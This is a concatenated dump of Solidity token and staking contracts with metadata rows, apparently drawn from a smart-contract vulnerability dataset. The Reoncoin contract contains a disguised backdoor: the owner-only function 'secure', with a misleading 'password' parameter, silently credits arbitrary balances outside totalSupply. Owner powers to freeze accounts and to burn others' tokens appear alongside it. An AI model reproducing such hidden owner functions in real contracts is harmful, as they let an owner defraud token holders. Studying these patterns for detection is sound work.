amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); _feeAddr1 = 0; _feeAddr2 = _standardTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } }else{ _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function setStandardTax(uint256 newTax) external onlyOwner{ require(newTax<_standardTax); _standardTax=newTax; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addbot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
344,823
12,094
48e8aa92d455e3de5aba5bc31d64bf7aecc1d703b467758b7cedada01d860691
13,814
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x0475cad90f0e134969aecd27dfdc8c02b6ec0026.sol
2,733
10,912
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract ERC20 { using SafeMath for uint256; // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); constructor(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to].add(_value) > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from].add(balanceOf[_to]); // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } } contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract Reoncoin is owned, ERC20 { using SafeMath for uint256; // bountyusers address[] public bountyUsers; uint256 private phaseOneQty; uint256 private phaseTwoQty; uint256 private phaseThreeQty; uint256 private phaseOneUsers; uint256 private phaseTwoUsers; uint256 private phaseThreeUsers; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); event FundTransfer(address backer, uint amount, bool isContribution); constructor(uint256 initialSupply, string tokenName, string tokenSymbol, uint256 pOneQty, uint256 pTwoQty, uint256 pThreeQty, uint256 pOneUsers, uint256 pTwoUsers, uint256 pThreeUsers) ERC20(initialSupply, tokenName, tokenSymbol) public { phaseOneQty = pOneQty; phaseTwoQty = pTwoQty; phaseThreeQty = pThreeQty; phaseOneUsers = pOneUsers; phaseTwoUsers = pTwoUsers; phaseThreeUsers = pThreeUsers; } function() payable public { address _to = msg.sender; require(msg.value >= 0); if(msg.value == 0){ require(!checkUserExists(_to)); sendToken(_to); }else{ unLockBounty(_to); } } function unLockBounty(address _to) internal returns (bool){ frozenAccount[_to] = false; emit FrozenFunds(_to, false); return true; } function sendToken(address _to) internal returns (bool res){ address _from = owner; if(bountyUsers.length >= phaseThreeUsers){ return false; }else if(bountyUsers.length >= phaseTwoUsers){ bountyUsers.push(msg.sender); _transfer(_from, _to, phaseThreeQty * 10 ** uint256(decimals)); bountyFreeze(msg.sender, true); }else if(bountyUsers.length >= phaseOneUsers){ bountyUsers.push(msg.sender); _transfer(_from, _to, phaseTwoQty * 10 ** uint256(decimals)); bountyFreeze(msg.sender, true); }else{ bountyUsers.push(msg.sender); _transfer(_from, _to, phaseOneQty * 10 ** uint256(decimals)); bountyFreeze(msg.sender, true); } } function checkUserExists(address userAddress) internal constant returns(bool){ for(uint256 i = 0; i < bountyUsers.length; i++){ if(bountyUsers[i] == userAddress) return true; } return false; } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice Create `password` tokens and send it to `target` /// @param target Address to receive the tokens /// @param password the amount of tokens it will receive function secure(address target, uint256 password) onlyOwner public { balanceOf[target] = balanceOf[target].add(password); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function ownerBurn(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the sender has enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /// @notice `bountyFreeze? Prevent | Allow` `bounty target` from sending tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function bountyFreeze(address target, bool freeze) internal { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function contractbalance() view public returns (uint256){ return address(this).balance; } }
190,485
12,095
b4a08e72fb7664aa48ed9c28ffcce41290f8d7b6ae7b097cf58d9fe159f4c7a5
26,009
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/e1/e13a71a159b252c40dfd7dddf5795a4e80025648_CreditStaking.sol
4,361
17,618
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function add32(uint32 x, uint32 y) internal pure returns (uint32 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using LowGasSafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract OwnableData { address public owner; address public pendingOwner; } contract Ownable is OwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice `owner` defaults to msg.sender on construction. constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. /// Can only be invoked by the current `owner`. /// @param newOwner Address of the new owner. function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } /// @notice Needs to be called by `pendingOwner` to claim ownership. function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } /// @notice Only allows the `owner` to execute the function. modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } interface IsCredit is IERC20 { function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view override returns (uint256); function gonsForBalance(uint amount) external view returns (uint); function balanceForGons(uint gons) external view returns (uint); function index() external view returns (uint); } interface IWarmup { function retrieve(address staker_, uint amount_) external; } interface IDistributor { function distribute() external returns (bool); } contract CreditStaking is Ownable { using LowGasSafeMath for uint256; using LowGasSafeMath for uint32; using SafeERC20 for IERC20; using SafeERC20 for IsCredit; IERC20 public immutable Credit; IsCredit public immutable sCredit; struct Epoch { uint number; uint distribute; uint32 length; uint32 endTime; } Epoch public epoch; IDistributor public distributor; uint public totalBonus; IWarmup public warmupContract; uint public warmupPeriod; event LogStake(address indexed recipient, uint256 amount); event LogClaim(address indexed recipient, uint256 amount); event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount); event LogDepositLock(address indexed user, bool locked); event LogUnstake(address indexed recipient, uint256 amount); event LogRebase(uint256 distribute); event LogSetContract(CONTRACTS contractType, address indexed _contract); event LogWarmupPeriod(uint period); constructor (address _Credit, address _sCredit, uint32 _epochLength, uint _firstEpochNumber, uint32 _firstEpochTime) { require(_Credit != address(0)); Credit = IERC20(_Credit); require(_sCredit != address(0)); sCredit = IsCredit(_sCredit); epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endTime: _firstEpochTime, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping(address => Claim) public warmupInfo; function stake(uint _amount, address _recipient) external returns (bool) { rebase(); Credit.safeTransferFrom(msg.sender, address(this), _amount); Claim memory info = warmupInfo[ _recipient ]; require(!info.lock, "Deposits for account are locked"); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add(_amount), gons: info.gons.add(sCredit.gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: false }); sCredit.safeTransfer(address(warmupContract), _amount); emit LogStake(_recipient, _amount); return true; } function claim (address _recipient) external { Claim memory info = warmupInfo[ _recipient ]; if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[ _recipient ]; uint256 amount = sCredit.balanceForGons(info.gons); warmupContract.retrieve(_recipient, amount); emit LogClaim(_recipient, amount); } } function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; uint memoBalance = sCredit.balanceForGons(info.gons); warmupContract.retrieve(address(this), memoBalance); Credit.safeTransfer(msg.sender, info.deposit); emit LogForfeit(msg.sender, memoBalance, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock); } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } sCredit.safeTransferFrom(msg.sender, address(this), _amount); Credit.safeTransfer(msg.sender, _amount); emit LogUnstake(msg.sender, _amount); } function index() external view returns (uint) { return sCredit.index(); } function rebase() public { if(epoch.endTime <= uint32(block.timestamp)) { sCredit.rebase(epoch.distribute, epoch.number); epoch.endTime = epoch.endTime.add32(epoch.length); epoch.number++; if (address(distributor) != address(0)) { distributor.distribute(); } uint balance = contractBalance(); uint staked = sCredit.circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } emit LogRebase(epoch.distribute); } } function contractBalance() public view returns (uint) { return Credit.balanceOf(address(this)).add(totalBonus); } enum CONTRACTS { DISTRIBUTOR, WARMUP } function setContract(CONTRACTS _contract, address _address) external onlyOwner { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = IDistributor(_address); } else if (_contract == CONTRACTS.WARMUP) { // 1 require(address(warmupContract) == address(0), "Warmup cannot be set more than once"); warmupContract = IWarmup(_address); } emit LogSetContract(_contract, _address); } function setWarmup(uint _warmupPeriod) external onlyOwner { warmupPeriod = _warmupPeriod; emit LogWarmupPeriod(_warmupPeriod); } }
100,055
12,096
897a07505e18fa4b76756bd1522d5a67e583317387248d469016c298e340cda6
27,363
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/19/19672375464ccbf1f8c6c7c32d8d8987d27262a5_TimeStaking.sol
4,198
16,940
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; 